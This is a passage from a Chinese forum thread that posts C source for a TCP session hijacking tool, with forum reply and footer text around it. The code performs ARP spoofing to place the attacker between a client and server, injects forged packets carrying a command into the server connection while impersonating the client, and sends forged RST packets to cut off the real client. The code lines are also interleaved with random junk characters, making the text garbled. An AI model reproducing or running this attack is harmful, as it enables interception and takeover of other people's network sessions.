            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
5 C. o$ }0 e! M+ W' n% Z{
/ ]# \+ b( K# [0 g" y  PCONNINFO  pNew, pTmp;
7 w3 x7 H0 |$ g5 |! O8 Y, V* y/ @5 S8 V% |
  pTmp = g_pConnHead;
4 O5 m, i0 n1 J. R  while(pTmp) 0 O: j1 V7 N' _, ^+ X9 @% Q4 r: y2 E
  {
- J& S. V, B' `1 H- K* V* Q    if(pTmp-&gt;bActive) * m4 z# c+ _* I0 d8 q' R3 ]! ]
    {
; S0 C0 w" w+ f! E2 l      //found it 3 Q, U& D& a  r3 Q1 g- I, U
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
+ L8 c# l8 j0 V5 e) t" H        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
* ?8 S8 s* `1 W' ?% t4 x, n        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
. x) ^5 G6 y8 s4 v: H  a- V        (pTmp-&gt;uClientPort == uClientPort) )
5 H& V' w; |+ H      {
0 C$ a- T; u7 v2 A$ {        if(bDelete)
3 x( a8 V, S' b! M- ?: H* T        {
# [4 [; q$ ~8 |. o9 U          pTmp-&gt;bActive = FALSE; 3 h4 w2 S& U' q% t0 j9 R
          return 0; - p! e& X/ p( ^! H' n& q) p
        } 0 Y- j# @! z" Q! @, @) [
        else return pTmp-&gt;ident;
! c' R( t. E+ H5 J4 J      }
. v$ q) ]/ m9 ]$ P    }
5 k2 W4 p. ]  w! G    pTmp = pTmp-&gt;Next; - t) s  u) p8 G
  }
  O0 h$ }: `% c% E% U( u  r+ m: c  //not found, create new node * ~. e' H8 k! Q5 x2 _( S' n
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
" b% [# ^! f, k/ s  {
" S! I; `$ h! {/ ]+ p    //search unactive note
- T$ `* B) b6 s" v! A    pTmp = g_pConnHead; ( A2 ~0 l( V  r$ Y5 D3 T1 M: d
    while(pTmp) ! ]/ L1 f) m8 y  j# k& \: \
    { 4 d3 R# E/ [/ i3 V4 N
      if(!pTmp-&gt;bActive) break; 5 n2 n' V$ M6 z! h
      pTmp = pTmp-&gt;Next; : G- H% P) D/ o2 E9 D8 S. f' a
    }
. H/ H7 Q) {: T    //found a unactive node 3 G; e+ |: s# r, ^  f* e: u0 z
    if(pTmp) 8 Y) W( \, h& }' h
    { 7 K* A# V% W6 p8 ~
      pTmp-&gt;dwServerIP = dwServerIP;
; G$ ^4 y: T. d      pTmp-&gt;uServerPort = uServerPort; ) }2 v# I2 g+ W, h- Y/ P
      pTmp-&gt;dwClientIP = dwClientIP;
! b: k# e( ^% ]' V+ v+ U      pTmp-&gt;uClientPort = uClientPort;
4 s, Q% K  M* ^$ D0 K  |/ _- X; K: B      pTmp-&gt;bActive = TRUE; 6 Q0 h4 X: \9 z7 N- R! a
      return pTmp-&gt;ident;
2 I3 r6 g! B* D    }
- c4 V$ N$ }+ q2 ^# N    //not found,create new node $ d( \. z7 y! F5 \
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
4 ~7 W6 F" U% }* R/ k) c$ N" ^  Y" G    if(!pNew) / y/ O, p/ |: \  p$ c9 s1 u) }
    {
( Z" x# h' F% A( q" s1 m0 _: v      printf("malloc for link node error:%d\n", GetLastError());
; c/ z8 S; o; R; s0 f# j: Z. i- Y% T      return 0;
  {: n, N: X  Z: `% O. j    } 1 Q5 v! N! O# g) k  g( F9 A* S
    //fill the struct & l7 P; m0 @, Z3 R1 `* B) s7 i& ~
    pNew-&gt;bActive = TRUE;
' Y, I7 ?) K; T* w4 J& p2 P5 k( L    pNew-&gt;dwServerIP = dwServerIP; " u: g* i5 V; f
    pNew-&gt;uServerPort = uServerPort;
, }4 `( b8 K$ y5 |) ?; D" j- ]  @    pNew-&gt;dwClientIP = dwClientIP;
9 L8 R6 O" \! c0 A( ~    pNew-&gt;uClientPort = uClientPort; 7 G8 N+ p1 t# I0 _
    pNew-&gt;ident = ++g_ident;
6 L5 y9 C% i1 f6 Z    pNew-&gt;Next = NULL;
& k5 `& \0 d# |) q& ]5 g    //add new node to link
1 I9 a1 x7 N% ~) k# M3 b4 Z    if(!g_pConnHead) ; N  \% N! Z& C9 r! R# v. W+ V# E+ p
      g_pConnHead = g_pConnLast = pNew;
  ?9 I3 y  W4 u4 {7 e4 V    else 0 [, v' A& f; o# k$ Z& y4 S
    { ' ~" I0 W: A/ p2 p# c
      g_pConnLast-&gt;Next = pNew; 4 U+ g3 i/ V! M/ f* t4 q+ g
      g_pConnLast = pNew;
7 S* i4 d# V: I& g" e    }
6 C; V# Q7 K% ?2 o    return pNew-&gt;ident;
& A: F% g# E. C( }- r  }
6 g1 G, z$ P+ d' R$ J3 v  return 0;
" x2 N- n4 N: C# _}
5 t% l; r% t# m3 Q; @6 J9 R/ b: C- j/ }
// - u, q: r& f/ L' d( z
//功能:判断一个数据包是不是只有ACK标志
5 W; j7 i# J$ H1 _1 Q// $ S! B+ d+ k% i0 s) a1 i
BOOL IsACKPacket(unsigned char flag)
, ^4 S; H8 P: z5 P2 \0 p{
4 H* e( d' [7 T( V  u  int  i, j=1; , O* H' Y9 P# m. E5 h4 G- x
  for(i=0 ; i&lt;4; i++) ( N3 W. {4 b1 m
  {
8 f: o2 Z1 o$ m" r" U    if(flag &amp; j) return FALSE;
( v2 \+ P3 i+ d7 v: Y    j &lt;&lt;= 1;
+ K/ J5 v- K- {9 f% l' k  }
8 F5 ?$ }) @' t9 y$ D* X  if(!(flag &amp; 0x10)) return FALSE;//is ack?
8 V" k2 W$ `) C( e6 h0 Q# |  if(flag &amp; 0x20) return FALSE; 5 _; b, J' r& v" ^6 d& W+ I0 r
  return TRUE; ' p9 m* p4 s# H: n# T6 ^
}
! t1 C0 F8 J/ b4 ^9 G0 D% |7 c% V3 c6 ]. l
// # `2 o- l( s* U  `0 T- W3 F
//功能:伪装成Client给Server发送数据包
7 p# g) s# |! M9 a! V& @/ f// 6 \2 x3 e, Z2 H$ v7 }# i# Z
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
1 u+ p7 M, _5 j& u0 F) p" ?{
2 i7 m. t' d. _* ?4 X3 M
: S: ?& G, Q* N8 b* P  char    szBuff[1520];
  R5 N4 c6 z# b/ N7 M) M6 N  PSDHDR    psdhdr;   H) a2 k5 H3 K& h/ u5 [6 b* E( w
  PTCPPACKET  pHiJackPacket = NULL; 1 G* x: l5 n  `+ b
  BOOL    bRet = FALSE; 3 g* ^, ]4 G% ^, h

0 o% o2 ]0 W6 N/ W  __try : U; A( Y1 b# K& w# m" f  ?  g, X
  { 2 P& F  [% m9 {; V% u
    //
6 W1 E) n1 `" s* z6 n) F    if(!g_pCurrCtrlConn) __leave; " e. n  h" D- N/ {
    //allocate memory for hijack packet " Q2 h( Q) d+ @. D! X
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
! ]; u' g- k4 {* j! W# I    if(!pHiJackPacket)
) S8 b' A3 l2 C! i+ t; s3 p1 ~    {
% [3 j0 a, m( b3 }  P      printf("malloc error:%d\n", GetLastError());
. f  x# S' Q  t6 A  O      __leave;
1 A$ D2 V2 o- n9 H    } " T& h% M, t( S* M
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
. c3 j5 A- n6 p- \$ C! V    //-------------- modify the packet ---------------// 2 k) p5 c: X7 B* y* B
    //modify ethernet head
& t  u: M; V! Y" {    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
. O* z) A4 N- B- _. E' g/ [    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
6 h- E7 B5 R0 G/ I/ }$ j    //modify ip head # D3 V7 V' ?2 Y. f
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); : p* @: F" m' Q9 [7 _. C
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); - z/ K7 s$ Y5 D( A
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
1 `* j9 c+ {4 R( ~2 q# h    pHiJackPacket-&gt;iphdr.checksum = 0;
, n8 Z4 X: B$ N, _& O; E5 y    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client % x; e: K: k. R1 M. V* V9 G
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
( q/ X0 b2 V2 Z# t' i) H    //modify tcp head + M% d( e! B" |5 o
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
: r; [2 Z9 d$ e$ w( C    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
6 _5 `7 w" u! z% |# z: [+ d# E4 M    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); 0 J8 E0 R) H( Z( l" t3 D
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
! b6 V7 P1 Q( F5 i    pHiJackPacket-&gt;tcphdr.th_sum = 0;
" ?% O7 W  x) i    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
8 t! C4 h5 A! c& {% t    //fill tcp psd head 3 _- d- X; d3 j; k+ I
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
2 m/ A" D. `" Z  Z% ~* K    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           * E  P* c# ^% T7 b" Z. H
    psdhdr.mbz = 0; ( b2 R( k5 }" z& _
    psdhdr.ptcl = IPPROTO_TCP;
5 e; H8 Z7 X3 x9 i    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len $ c2 \6 w' J/ f
    //calculate tcp checksum     
8 V0 m2 S9 D% I0 ~    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   : W/ R% P8 t/ E4 l8 U% Q" f
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); * R: H+ k% ~# Q% q! }
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
2 u: u# C# U) F) _2 X+ i    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 2 U( S: j0 \! v+ d# _! j
    //calculate IP checksum
) d  A1 r1 J3 H7 e7 b& S) R    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); . n: F- D9 T) }& Q. J/ I! h- F
    //fill send buffer           * j" Z* v: F0 U. d- U
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
4 M2 u. X, N; t+ Z" ~6 v/ D' u    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
9 `* v4 |; y; R' M, `$ Q/ m* E0 X    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
0 t, z( R1 r: r3 n. c6 k; v% L    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); : n+ j% C& ?- h+ k
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
1 K  y5 |. y; E4 k# \    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
) \/ T4 m: z3 B3 X+ U; x7 m4 k; b; D    {
! Z# n2 R: g1 ~+ M" Y# M; [      printf("Error sending the hijack packets!\n");
2 u) G! [0 _% A  c      __leave; - S+ l, Q5 T9 |  h
    } 9 ~0 \' Z7 b& {
    else printf("Send hijack packet ok!\n"); - _+ @* X2 ~) K4 }
    bRet = TRUE; 8 W" Z0 C7 a4 S
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally
  G. J; Q6 `/ V. |; L/ |  {
8 }) k+ N5 b7 ~    if(pHiJackPacket) free(pHiJackPacket);
" ?9 Q+ A% T/ J  } 8 N5 M% ?0 ^& K9 G" D2 }
  return bRet; . W7 q- v: L& m4 B
} $ D* Z: H0 l- p
- n' j0 c" P. B0 L2 J0 p
' [2 ]7 {$ m+ N$ d( |; ~
// 8 I5 H1 `& E& m; w, E8 Z  t( ^
//功能:伪装成Server给Client发送rst包 0 ~# b5 q  p  G
// 9 w8 w8 N0 |3 ?1 N7 _
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
  `. k% |. Z: \+ m{ % Y" f+ g  b8 ]3 Z2 G
  char    szBuff[60];   `1 C$ X  T9 j( i7 f
  PSDHDR    psdhdr;
9 F2 l: W' t! P* V" `  PTCPPACKET  pTcpPacket = NULL;
4 F0 M0 g% S& @+ J- \, ^( |  BOOL    bRet = FALSE;
  o2 ~( l0 j1 g9 E) ^: l1 S& I- Y
$ T# n9 d$ @' t" v  __try 6 l$ ~/ K0 F' ?& ?6 O
  {
' C" E; }( J" h4 O    //检查当前指向想控制的连接的信息的指针是否为空 8 R# C, K" E) x& x0 L' ]' w
    if(!g_pCurrCtrlConn) __leave; ) n9 c" R& x* c1 _& p8 b
    //allocate memory for rst packet # K' t" V1 c7 B
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 7 E$ M# {) U& G. }: P; M0 C2 p
    if(!pTcpPacket) * F7 g% h0 I! @$ \4 @: ?
    { ! m. x: ]  b* z' B% {
      printf("malloc error:%d\n", GetLastError()); 8 T, |% P* C7 v3 L3 {/ g
      __leave;
/ p6 }0 i  n, J. X    } 3 D6 A0 w. I" t9 P
    //fill ethernet head
( W5 t3 I! e  r8 b/ P5 x4 Q    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
5 S' C  }/ X* n& P    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); 5 W& H  X: y0 V. N, c- O
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP); * Y/ w. l- R7 O/ l# K
    //fil ip head
9 J" t# x& l+ h7 e    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); ) ]+ O$ [9 L+ n/ E$ v' D$ S
    pTcpPacket-&gt;iphdr.tos = 0;
* D0 {: x0 Y, Z9 Y5 b2 s8 p% ~    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); 4 O/ u/ ?! F& o
    pTcpPacket-&gt;iphdr.ident = 1;
! D0 f  d" _3 T. B    pTcpPacket-&gt;iphdr.frag_and_flags = 0; " ]7 ^& K" C' x! x) Z" j
    pTcpPacket-&gt;iphdr.ttl = 128; " l- Q  A' J2 N) ~* j
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
9 x, e4 E; Z. H1 V/ z    pTcpPacket-&gt;iphdr.checksum = 0;
6 Y6 s/ J- _. Q0 D, t' P    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 # O2 o2 I- S8 H$ R! U7 r) g' g
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址 5 s+ A' O' m" j
    //fill tcp head
8 ^1 q7 Z) y" C) c- G' h    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 " T8 i5 |* h$ `1 X* O
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
# L' b* ^5 _: w1 s+ w: W7 ^! I+ i    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN : l8 ^# G1 }5 |
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
9 w' V$ s% q3 o( D; M    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
! I: k! H. ?+ F9 K/ i5 X    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
3 R' _# k; J4 p+ G! J    pTcpPacket-&gt;tcphdr.th_win = 0; # Q+ @* Z) Y% a: P- ~! A0 W
    pTcpPacket-&gt;tcphdr.th_urp = 0;
' u8 Z2 z0 c1 m* X/ x8 M" o    pTcpPacket-&gt;tcphdr.th_sum = 0; , i9 L$ ^5 m: p6 x. n
    //fill tcp psd head
; f& j9 R$ q: z& v    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 W0 z0 e7 t1 a6 R/ d; [- _    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           ' s- H% A# n2 R8 H# R
    psdhdr.mbz = 0;
, }9 W( B0 g# a. ?    psdhdr.ptcl = IPPROTO_TCP; ) E- M6 S: R" w9 u
    psdhdr.tcpl = htons(sizeof(TCPHDR));
# T! d7 R* ~( ~' n7 f    //calculate tcp checksum     6 d8 \! x* i. U9 B
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
, _' ]( F0 d5 G4 s    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
& ~6 Y2 v/ u) q, I* o0 I    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); % e+ ?, o: B# r8 P- V# i/ z* [4 S  H4 X
    //calculate IP checksum 5 o+ q" K( ?8 X3 S
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
: `8 w9 l8 ~) a5 [/ s- d& q    //fill send buffer - B# M. D* R$ W" q: s4 d$ ^) Z, B
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); $ ]& @4 J. w' @+ ^4 @0 a
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
; N0 O( K* C" ^; B    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
; s9 m, G5 O" }  y$ Z    {
6 Q, M, f2 ~+ H4 o- N" H      printf("Error sending the rst packets!\n");
. o9 W. V' F: ^      __leave;
8 u0 L- \" D9 q2 F0 H    } " K4 u3 w% j( X
    else printf("Send RST packet ok!\n");
* D5 G+ e2 N: O3 U# _/ V  T$ R+ ]& M    bRet = TRUE;
0 D. D$ {* W) C( U9 s. z  }
* G+ Q2 _0 Y; W7 @2 M  __finally
$ M: X9 K' p& B% \  {
! O  u. F2 N% X5 I1 t    if(pTcpPacket) free(pTcpPacket); * b' k8 J  y5 b) d% h
  } 4 ^4 d. A+ ]/ j9 N' U
  return bRet;   V. }* E# o9 l) X
} 8 ]2 J, D) ?% w

" v+ ?' C, A0 J! b//
  R# M9 t" F8 v- _; Q) ?/ m//功能:计算校验和 - @) T6 {3 F) s# P, ?6 O6 f
// ' f& b& j9 T* y* G' ~( B- h
USHORT checksum(USHORT *buffer, int size)
6 x3 k; w1 [- y! a* Z5 w) u{ - p8 j  e, y  ?& z9 Q
unsigned long cksum=0;
* A# b4 b% t- ?$ M& F1 j4 n2 D while(size &gt;1) {
) L! P6 K% Z) s% H  cksum+=*buffer++;
8 J) o; [6 @) ]9 u  m0 Y  size -=sizeof(USHORT);
& m  D/ V/ A1 M2 c, U, `# G1 B+ _ }
% s- C" \* m' k if(size ) { , ^* ?* ~! F* H6 W
  cksum += *(UCHAR*)buffer;
2 F. Z7 t. v7 y5 Z: [  T }
9 [% |! h, U; _& l  I cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
1 x" r' G" U8 g4 [ cksum += (cksum &gt;&gt;16);
+ R: v5 M% Y. h1 q# \6 y4 i+ G# [- { return (USHORT)(~cksum); " X+ e# o& t5 g: W: V
}
  X7 R8 l& V0 S8 x, L, ^) L; Q: |7 _" v3 X
//
- I; W# I0 g. c0 ]. X9 R//功能:实施ARP欺骗
: x2 d( m+ x; x& a5 b+ P//1 告诉ServerSide,ClientSide的mac是ownmac & |6 f) F( n2 S# E" }/ D
//2 告诉ClientSide,ServerSide的mac是ownmac
8 l9 X% y! T: c# f; K6 ~// 4 l0 G4 v: P' E0 M& z( d# g
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
! p; G0 x$ ]; ?; \  A$ j{ % n4 d) n( g- t& y5 F( g" Y' }
  int  iType = *(int *)lpType;
) Z8 g9 ?! _. d9 R$ M  ARPPACKET  ArpPacket;
6 ^/ Y0 k. \0 J8 k' A  LPPACKET  lpArpPacket;
+ Q' c: ]( A5 D6 w/ j" h) i' k' d  char    szArpBuff[60]; - i5 Z$ ^" H% I3 I+ g
) `8 [! b. m. j* K
  switch(iType)
- {! }$ N7 u: A" K2 G  { + e) M) V4 b9 x) ]$ h2 x7 s% B+ x
    case 1: & |" _, S- \" ]- p: H8 t6 r4 {
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); 4 z2 O6 s, q2 \* Z
      ArpPacket.arphdr.DestIP = g_ServerSideIP;   C5 ^& p, ]& a' z+ n9 a
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
0 C& J* P; ?+ L4 n9 A- M      break; " ?( I- N. w2 k, L  F: L8 r
    case 2: 3 H6 A7 a6 J& h& y. e! b2 C, ]
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); 9 |# |! r# U" i2 h0 h9 m8 ]3 a3 \
      ArpPacket.arphdr.DestIP = g_ClientSideIP; / H5 D" [, u/ _. ~8 I" e
      ArpPacket.arphdr.SourceIP = g_ServerSideIP; + h# c$ l. i: p. E2 t+ B! k1 Z% g0 P
      break; " g! ]2 i/ C, i  `, ^4 z
    default: 6 J8 [3 d5 Q) @) _
      return 0;
, h( m, N. S) y" i. N8 x/ l  }
# y9 Z% V! M+ [+ t; }, g  //ethernet head " ?7 j4 ?. x0 N/ e- }8 ^
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
/ [/ E( s. M0 C8 v( ~1 Q8 f1 X  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  S* M4 b9 q' J& m1 \  //arp head
- P% B% X$ G9 i% B1 k  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
! K( ?' ~1 V1 U  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
. W  K4 `8 h5 t% v. x" ?9 M  ArpPacket.arphdr.HrdAddrlen = 6; 2 S* J2 I9 l* H4 ?% z/ U% J
  ArpPacket.arphdr.ProAddrLen = 4;
0 F) f7 I* Y" s  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);   \, {  Z' R, v3 q, P% a
  ArpPacket.arphdr.ProType = htons(EPT_IP); 3 f: \+ ~0 ~- z- G, [$ n
  ArpPacket.arphdr.op = htons(2);//arp reply
5 j3 M5 V1 e8 Z
5 \3 M, V2 u6 O7 m5 d6 i  lpArpPacket = PacketAllocatePacket(); ) ]( t& W( F5 ~+ n
  if(lpArpPacket == NULL) 1 N: f. ]' o- u' g
  {
! H1 b3 `% e. S2 f5 j3 f    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");   n6 q; j5 e  u. a+ M% R  E
    return 0;
1 C+ \! A0 N7 t$ `8 j' d0 t  } 9 f/ Q% Y3 p* h! s/ `* j
  memset(szArpBuff, 0, sizeof(szArpBuff)); 7 ?; n/ ~# t. I* e
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); / W5 a% B* E- f& E
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
& Z/ `3 j3 o8 l8 U* m$ [  //send arp packet
# K0 l9 m5 ?# o- y0 ?0 b" v  while(1) 9 D; o6 m' K2 h( \* p  R
  {
/ g- Z- z' s& C: G' R: Y/ M    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
4 `7 U8 ]: D7 H, ]    { 6 n* z4 G% D+ n. e' k- Y5 G
      printf("Error sending the arp spoof packets!\n"); " ^# z6 _) z  }8 f! h6 o* Q( v
      return 0;
6 {% U4 u, B5 v2 ?( w: m4 A    }
- w; d: z1 l  W4 w- X: R* t    Sleep(1000);
! Z# K/ L! D2 Z& O2 T  m; S  }
# K& h, y2 W, R' C$ X" U  return 0;
/ I. Q+ j5 F! l}
3 Q' d. O6 D: _
, a0 m. _, F+ b7 R! R// 2 Y% M. N  j7 }7 X
//功能:输入IP取得对应的MAC地址
" n2 q8 x, i" [3 x" P- Q' r. f) n" {//
  W0 t# Y. I) I) KBOOL GetMACAddr(DWORD DestIP, char *pMAC) : t! S. D9 A  q: g
{
: L' Z% [# L  f7 |& x6 @  DWORD  dwRet;
5 F9 s$ p0 }; Z6 C2 Z  ULONG  ulLen = 6, pulMac[2]; 0 b. a5 ?; I' s! z( t2 R
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); 6 s; o# A. M8 _! n/ h
  if(dwRet == NO_ERROR)
9 Q( [% Z0 t# h8 _9 D" u% p* b  { / t, e3 a7 b& S+ N  S
    memcpy(pMAC, pulMac, 6); ! n2 ?$ Q& U3 K& S
    return TRUE;
9 J+ G7 a  b. x& T- y: H. d, d  } 9 K5 ]9 |' x3 \; p
  else return FALSE;
7 v3 T, w" W& ]+ f}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-4-18 06:58 , Processed in 0.381277 second(s), 91 queries .

    回顶部